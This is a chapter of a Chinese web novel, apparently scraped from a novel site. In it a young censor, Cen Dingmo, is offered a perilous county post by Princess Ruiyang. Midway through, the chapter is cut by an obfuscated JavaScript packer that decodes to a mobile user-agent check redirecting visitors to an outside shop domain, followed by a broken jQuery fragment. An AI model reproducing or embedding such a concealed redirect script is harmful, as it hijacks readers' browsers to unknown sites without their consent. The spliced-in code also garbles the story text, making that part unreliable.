文趣网 > 都市小说 > 两只斗鸡鸣翠柳 > 4. 京城怕是待不下去了
    人倒霉时候,喝凉水都塞牙。

    不光人没追上,还被马车扬了一身泥。下了几日雨,地上攒的黄泥通通孝敬他了。

    从头到脚没一处落下的,看着从泥沙里捞出来似的。岑定默闭着眼在原地呸呸呸了半晌,还觉着嘴里有散不去的尘。

    成吧,既然姑奶奶还在气头上,他也不招人家眼烦,先回府从长计议再说。

    结果一摸腰带,岑御史不得不苦笑出声,空空荡荡、什么都没有。

    出来得太急他压根没带钱袋,而且身上连点值钱的物件都无。

    凭他一身埋汰,还得到地方再付钱,寻多少车马也根本没人搭理他,还有甚者还拿他当苍蝇赶,身上因此更添些脏乱。

    “二十多里地,走回去也就一个多时辰,趁天没黑,还是快走回去吧。”岑定默看着往西斜的日头,长长长长地叹了口气,拖着沉重的身子往家挪。

    虽然没带值钱的东西,怕冷的他穿得可一点不少,赶起路来跟背个石头也差不离,再加上泥干了结块,行动之时都往下簌簌掉土。

    走久了泥掉完了,许能轻快些?他乐观地想着。

    他一路都朝着能过马车的宽阔大街走,心里就指望着阿砚、阿墨能有眼力见,发现他迟迟不回驾着马车来接他。

    只不过没等到两个侍从,倒是在一里多地外碰上了一辆熟悉而简朴的马车。

    虽然没有任何徽记,岑定默也一眼认出这是郡主府的马车,立即快步走了过去。

    车夫一见如此狼狈的他,也不禁乐出了声,左右打量着不错过任何细节,“数月不见,大人怎么成这样了?”

    “还不是你家吴娘子,”他又一次无济于事地掸掸身上的尘土,问道:“可是郡主寻我?”

    “大人猜得真准,快请上车吧,郡主在府里候着您呢!”

    一路上岑定默就着车上可怜的冷水,好歹把面上给擦净了,却把身上衬得更脏了些。

    等进了书房,郡主见他面上白生生,衣服黄土土,也不由得一笑,“怎么跟个泥猴儿似的,快去你表兄家梳洗一番先,可别弄脏了我的笔墨纸砚。”

    “是。”委委屈屈的岑御史从郡主府侧门直接回了徐府,好在表兄表嫂和小侄女不在府上,不然又得被他们笑一回。

    原先徐府是郡主府一处独立的院落,郡主与表兄和离后,便把这房产过到了表嫂名下,两家成了邻居。

    他少时起在徐府借住,三天两头跟着侄女往郡主府跑,见郡主的次数怕是比吴何清都多些。

    这也是为何盖着他印鉴的折子,在朝堂上作为参奏瑞阳郡主的利器后,吴二娘子连写十多封信痛骂他。

    受人恩惠,却狼心狗肺,若真是如此他也想骂自己。

    换上旧日衣裳,岑定默行动颇有些拘束。

    从前的衣服给如今的他实在是小了,冬日的衣裳又厚,走起路来绷得极紧,他浑像个刚成精的木头人。

    “这样瞧着干净多了。”郡主满意地让他坐下,“你这一身泥是阿清弄的?”

    他老实地点点头,面对长了他十余岁的瑞阳郡主,他做甚都很拘谨。

    “也不怪她,毕竟参我的折子上确实盖着你岑定默的印,她又拿你当自己人,这种事你教她如何不气。”

    但他当真是无辜的!分明是那帮同僚不怀好意,拼命灌他酒,哄着晕晕乎乎的他,稀里糊涂地就盖了印。

    他连自己盖印的记忆的没有。于此而言,他明明也是教人给害的。

    “郡主有您的谋划,让我就当自己真做了此事,我自然听您的。您的戏又演得极好,数月不许我进郡主府。咱们瞒着吴二娘子此事,她也全当我是个黑心肝儿的,自然生我的气。”

    闻言郡主轻笑,敲了他脑袋一记,“还跟我委屈上了,你小子入官场前我是如何提醒你的,切莫独木秀于林。你倒好,头一回拜见圣上就要出风头,好好的翰林院不去,非要去御史台。

    原本你与你表兄一家双探花,就已经极为扎眼了。他是个平和性子稳扎稳打,旁人油泼不进水磨不得,倒是你看着乖却是个刺头,心里主意比天大,身边的同僚焉能容你?”

    岑定默心底暗道,可此事我不过是个筏子,背后之人真正为的还是郡主您啊。但他面上极为诚恳地点着头,接连应是。

    见他态度好,郡主自也不会再多说什么惹人嫌,点到为止。

    “京城水深,圣上与两位相爷斗法,我迫不得已牵扯其中,但是你大可置身事外。”她笑吟吟地一顿,另起了个话头:“近年来京官冗余,地方各府却缺才干之辈,吏部为平衡形势想了个法子,你可知是什么?”

    岑定默自然没这个门路知道,反问道:“郡主的意思是?”

    “你可想外放升迁?”

    ?

    闯完祸,他还能升迁?这世间还有这等好事?

    欢喜之情刚滚满脑子,就被迟来的冷静给冲了个干净。

    郡主是待他如子侄,这些年来也提点他不少,可她眼下这面笑眼不笑的模样,分明没好事等着他。

    就像前次醉酒误事,他听吩咐默认此事是他所为。结果不光吴家那尊姑奶奶要跟他断交,这些时日京中的话本也让他“身败名裂”。

    从风流,到下流,再到今日的被压在身下——他好好的探花郎都成了……

    不成,这回不能再进这位的圈套了,最起码他得先丈量好坑的长宽高,看看掉下去的后果是什么,再确定往不往里头跳。

    “郡主打算让我去哪?”岑定默很是谨慎地避开了她的目光,免得不战而降直接答应人家。

    瑞阳郡主也不跟他兜圈子,直言道:“安平府的洛县县令一职尚且空着,你意下如何?”

    安平?那不就是郡主的封地,吴何清的祖籍嘛。先前她让他默不作声,不是想演场决裂的戏码,怎会又让自己去她的封地任职?

    莫不是把戏演得更真些,要把自己扔去洛县受苦,显出郡主是在“报复”他吧……

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844400|211710||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不明白郡主心中何意,岑定默只得壮起胆子往下挖点实话:“安平府前些年通了路、又建了安平港,日渐富庶,怎会缺县令呢?”

    “你倒是不傻,按理来说洛县再怎么样,也算得上是个中等县,自不会缺人任职。偏偏此处县令六年换了四任,最前头便是如今的安平知府,后来病死一任、自尽一任,辞官归隐两任,便再无人敢去了。”

    一番话说得他面如土色,有些无语地望向郡主。

    合着除了升迁的安平知府,剩下四任县令一半没命、一半辞官,可都没什么好下场。

    这样看来,岑定默有些摸不准郡主是假装要报复他,还是真的想报复他了。

    毕竟这一去,不是没命就是断了仕途。

    “郡主……当真?”他迟疑的声音中都带着些颤抖。

    这模样教瑞阳郡主笑得不行,但还维持着长辈的体面,刻意扭过头去笑。

    缓了好一阵,她才回头解释道:“我倒也没骗你,病逝的那位一家都得这个病,没一个活过四十;自尽的那个,是发现家里四个孩子四个爹,可惜没一个是自己,一时气不过就投河了。

    辞官的两任皆是丁忧回乡,人之常情总不好拦着人家。安平知府和我还特地分别找人算了算,都说是得八字够硬才能坐稳这位置,我思来想去也就你合适。”

    当官还得看八字?!

    也对,郡主的相好陈少监从前便是道士,她信玄黄之说也不意外。

    “郡主的好意我心领了……”岑定默斟酌着用词,想着该如何婉拒来得合适。

    谁知她突然来了一句:“听闻你前些时日夜访青楼,被你的同僚参了一本。”

    “那是为了寻这几家公子哥的罪证。”他下意识地反驳道,话一出口方反应过来,这事是他背着众人查的,未收集完证据前本不打算声张。

    “可他们欺的是南风馆的小倌,你探的是春风楼的名妓,八竿子打不着啊。”郡主轻笑出声,不以为意道。

    “他们二人……”岑定默这回的脑子总算追上嘴了,及时收了口。

    随即他便意识到不对,她怎会知晓得这般详尽?莫非郡主也在暗中调查此事?

    “他们二人是兄妹都查出来了,本事不错。”她亲自为他斟了杯茶递过去,“不过此事涉及颇光,你既被参便是警告,势单力薄就莫要再查下去了。”

    这下岑定默明白郡主为何要他外放了,先前暗中查探之事已然暴露,今日为救吴何清又在这几人面前露了脸,日后他在京城也别想安生度日了。

    只是……难道就放任这些人祸害无辜吗!

    许是他脸色太过沉重,郡主直接把茶杯放在他面前,“千里之堤溃于蚁穴,韬光养晦的日子不会太长,我总得护好身边之人再动手吧。”

    这话说得他心底动容,直接起身给人深深一揖,“但凭郡主吩咐,不过我还想向郡主讨个人手。”

    若京中真要斗,他总也得护好身边人。